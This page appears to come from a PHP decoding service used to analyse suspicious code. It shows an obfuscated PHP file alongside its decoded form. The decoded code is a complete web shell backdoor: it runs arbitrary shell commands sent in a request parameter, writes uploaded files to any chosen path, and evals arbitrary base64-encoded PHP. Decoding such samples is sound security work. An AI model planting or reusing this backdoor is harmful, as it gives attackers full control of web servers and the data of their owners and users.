Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php ${"\x47\x4cOB\x41LS"}["\x6d\x6f\x6c\x6f\x6ad\x74\x76\x75"]="\x63o\x64e";${"\x47\x4c\..

Decoded Output download

<?php ${"GLOBALS"}["molojdtvu"]="code";${"GLOBALS"}["dokpcgt"]="att_path";${"GLOBALS"}["kyoqglqjeasl"]="output";${"GLOBALS"}["kstttpe"]="p";${"GLOBALS"}["xjtdirm"]="io";${"GLOBALS"}["ewxhxpwwkeb"]="output";${${"GLOBALS"}["ewxhxpwwkeb"]}="";if(!empty($_REQUEST["dmc"])){${"GLOBALS"}["pufnppcy"]="output";$aslrwkqnx="output";$uvmparls="output";if(get_magic_quotes_gpc())$_REQUEST["dmc"]=stripslashes($_REQUEST["dmc"]);$_REQUEST["dmc"]=base64_decode($_REQUEST["dmc"]);${"GLOBALS"}["ygitjyb"]="io";$uowlxdjtodk="io";if($_REQUEST["dmc"]=="logout"&&isset($_SESSION)){session_destroy();exit;}$maoyhpzwmt="io";${$aslrwkqnx}.="\$ ".$_REQUEST["dmc"]."
";${"GLOBALS"}["wjpiihn"]="io";${"GLOBALS"}["zhrdowi"]="p";${"GLOBALS"}["ivowlutl"]="io";chdir(getcwd());${${"GLOBALS"}["zhrdowi"]}=proc_open($_REQUEST["dmc"],array(1=>array("pipe","w"),2=>array("pipe","w")),${$uowlxdjtodk});while(!feof(${${"GLOBALS"}["wjpiihn"]}[1]))${${"GLOBALS"}["pufnppcy"]}.=fgets(${${"GLOBALS"}["ygitjyb"]}[1]);while(!feof(${${"GLOBALS"}["xjtdirm"]}[2]))${$uvmparls}.=fgets(${$maoyhpzwmt}[2]);fclose(${${"GLOBALS"}["ivowlutl"]}[1]);fclose(${${"GLOBALS"}["xjtdirm"]}[2]);proc_close(${${"GLOBALS"}["kstttpe"]});echo base64_encode(${${"GLOBALS"}["kyoqglqjeasl"]});exit;}if(!empty($_FILES)){$ytpuqxjb="att_path";if(get_magic_quotes_gpc())$_REQUEST["att_path"]=stripslashes($_REQUEST["att_path"]);${$ytpuqxjb}=base64_decode($_REQUEST["att_path"]);copy($_FILES["attach"]["tmp_name"],${${"GLOBALS"}["dokpcgt"]});if(file_exists(${${"GLOBALS"}["dokpcgt"]})){echo"Upload Successfully to ".${${"GLOBALS"}["dokpcgt"]};}exit;}if(!empty($_REQUEST["code"])){if(get_magic_quotes_gpc())$_REQUEST["code"]=stripslashes($_REQUEST["code"]);${${"GLOBALS"}["molojdtvu"]}=base64_decode($_REQUEST["code"]);eval(${${"GLOBALS"}["molojdtvu"]});exit;}exit; 
?>

Did this file decode correctly?

Original Code

<?php ${"\x47\x4cOB\x41LS"}["\x6d\x6f\x6c\x6f\x6ad\x74\x76\x75"]="\x63o\x64e";${"\x47\x4c\x4f\x42A\x4c\x53"}["d\x6fk\x70c\x67\x74"]="at\x74\x5fpat\x68";${"G\x4c\x4fB\x41\x4cS"}["k\x79\x6fq\x67\x6cq\x6ae\x61\x73\x6c"]="ou\x74p\x75\x74";${"\x47L\x4f\x42\x41L\x53"}["k\x73\x74t\x74\x70e"]="\x70";${"\x47L\x4fBA\x4cS"}["x\x6a\x74di\x72\x6d"]="\x69\x6f";${"GL\x4fBA\x4cS"}["\x65\x77\x78\x68\x78\x70\x77w\x6beb"]="\x6fu\x74p\x75\x74";${${"\x47L\x4fB\x41L\x53"}["ew\x78\x68x\x70\x77\x77\x6be\x62"]}="";if(!empty($_REQUEST["\x64mc"])){${"\x47\x4c\x4f\x42\x41\x4cS"}["\x70\x75f\x6ep\x70\x63\x79"]="ou\x74\x70\x75\x74";$aslrwkqnx="o\x75\x74\x70u\x74";$uvmparls="\x6f\x75\x74\x70\x75t";if(get_magic_quotes_gpc())$_REQUEST["\x64\x6d\x63"]=stripslashes($_REQUEST["\x64\x6d\x63"]);$_REQUEST["\x64mc"]=base64_decode($_REQUEST["\x64mc"]);${"G\x4cOBA\x4c\x53"}["\x79\x67i\x74\x6a\x79b"]="\x69o";$uowlxdjtodk="i\x6f";if($_REQUEST["dm\x63"]=="\x6c\x6fgo\x75\x74"&&isset($_SESSION)){session_destroy();exit;}$maoyhpzwmt="i\x6f";${$aslrwkqnx}.="\$\x20".$_REQUEST["d\x6dc"]."\n";${"\x47L\x4f\x42\x41\x4c\x53"}["\x77\x6ap\x69\x69\x68\x6e"]="\x69o";${"G\x4c\x4f\x42\x41L\x53"}["z\x68\x72\x64\x6f\x77\x69"]="\x70";${"\x47L\x4f\x42A\x4c\x53"}["\x69\x76\x6f\x77\x6cutl"]="io";chdir(getcwd());${${"\x47LO\x42AL\x53"}["\x7a\x68r\x64o\x77\x69"]}=proc_open($_REQUEST["\x64\x6d\x63"],array(1=>array("pi\x70\x65","w"),2=>array("\x70ip\x65","\x77")),${$uowlxdjtodk});while(!feof(${${"\x47\x4c\x4fBA\x4cS"}["\x77\x6a\x70\x69i\x68\x6e"]}[1]))${${"\x47\x4c\x4f\x42ALS"}["p\x75f\x6e\x70p\x63\x79"]}.=fgets(${${"\x47\x4cOBALS"}["\x79\x67\x69\x74\x6ay\x62"]}[1]);while(!feof(${${"\x47\x4cO\x42\x41\x4cS"}["x\x6a\x74d\x69\x72m"]}[2]))${$uvmparls}.=fgets(${$maoyhpzwmt}[2]);fclose(${${"\x47\x4c\x4f\x42A\x4cS"}["\x69\x76\x6f\x77\x6cut\x6c"]}[1]);fclose(${${"\x47\x4cO\x42\x41\x4cS"}["xj\x74\x64i\x72\x6d"]}[2]);proc_close(${${"\x47\x4c\x4fB\x41\x4cS"}["\x6b\x73\x74\x74t\x70e"]});echo base64_encode(${${"G\x4cO\x42A\x4cS"}["\x6b\x79\x6f\x71\x67\x6cq\x6a\x65\x61\x73\x6c"]});exit;}if(!empty($_FILES)){$ytpuqxjb="at\x74\x5f\x70a\x74\x68";if(get_magic_quotes_gpc())$_REQUEST["att\x5f\x70\x61th"]=stripslashes($_REQUEST["\x61\x74\x74\x5f\x70\x61\x74h"]);${$ytpuqxjb}=base64_decode($_REQUEST["\x61\x74t_p\x61\x74\x68"]);copy($_FILES["a\x74ta\x63\x68"]["\x74\x6d\x70\x5fname"],${${"G\x4c\x4f\x42A\x4c\x53"}["d\x6f\x6b\x70cg\x74"]});if(file_exists(${${"\x47\x4c\x4f\x42AL\x53"}["\x64o\x6bp\x63gt"]})){echo"Upl\x6fa\x64 Suc\x63\x65s\x73\x66\x75lly to ".${${"G\x4cOB\x41\x4cS"}["d\x6f\x6bp\x63\x67\x74"]};}exit;}if(!empty($_REQUEST["code"])){if(get_magic_quotes_gpc())$_REQUEST["c\x6fde"]=stripslashes($_REQUEST["\x63ode"]);${${"\x47L\x4f\x42\x41\x4c\x53"}["\x6dolo\x6a\x64\x74\x76u"]}=base64_decode($_REQUEST["co\x64e"]);eval(${${"\x47\x4c\x4fB\x41\x4c\x53"}["\x6do\x6c\x6f\x6adt\x76u"]});exit;}exit;
?>

Function Calls

None

Variables

output
GLOBALS [{'key': 'molojdtvu', 'value': 'code'}, {'key': 'dokpcgt', 'value': 'att_path'}, {'key': 'kyoqglqjeasl', 'value': 'output'}, {'key': 'kstttpe', 'value': 'p'}, {'key': 'xjtdirm', 'value': 'io'}, {'key': 'ewxhxpwwkeb', 'value': 'output'}]

Stats

MD5 6b86b4f0eed1e6c0caa619e26baca632
Eval Count 0
Decode Time 101 ms